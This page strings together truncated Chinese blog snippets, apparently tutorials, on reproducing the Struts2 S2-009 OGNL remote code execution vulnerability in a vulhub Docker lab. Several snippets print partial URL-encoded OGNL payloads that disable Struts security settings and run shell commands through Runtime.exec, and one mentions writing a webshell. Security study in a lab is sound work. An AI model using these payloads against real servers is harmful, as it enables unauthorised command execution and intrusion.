今天复现一下 Struts2 S2-009 远程代码执行漏洞,Struts2 S2-009漏洞是一种远程代码执行(RCE)漏洞,主要影响使用Apache Struts2框架的Web应用程序。Struts2使用OGNL(Object-Graph Navigation Language)来处理用户输入。如果应用程序未正确验证输入,攻击者可以通过OGNL表达式注入恶意代码,影响版本: 2.1.0 - 2.3.1.1。 Str...
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态...
CVE-2011-3923 S2-009 远程代码执行漏洞 1 漏洞信息 2 环境搭建 2.1 环境概述 Linux操作系统 2.2 搭建过程 拉取镜像 代码语言:javascript 复制 cd vulhub/struts2/s2-009docker-compose up-d 访问http://192.168.146.158:8009 3 漏洞复现 构造一个恶意的payload并发送。 代码语言:javascript 复制 http://192.168...
使用vulhub复现漏洞环境相当方便,Giuhub上下载漏洞环境太慢,建议去码云上下载。 vulhub官网地址:https://vulhub.org 代码语言:javascript 复制 cd vulhub/struts2/s2-009docker-compose build docker-compose up-d 0x03 漏洞检测 Struts2 漏洞检测工具 https://github.com/HatBoy/Struts2-Scan 使用工具检测 s2-009...
漏洞地址:http://your-ip:8080/ajax/example5.action 0X03-漏洞复现# 01-任意命令执行# payload: id为变量,可修改 ?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Ru...
漏洞复现# 环境准备# CentOS 7 64 bit (内含有docker环境) vulhub/struts 2/s2-009 测试地址:http://your-ip/ajax/example5 POC-无回显(可用来写入一句话--验证不成功)# Copy ?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%...
漏洞复现 访问ip+8080端口(ip为环境搭建系统的ip) POC GET /ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%...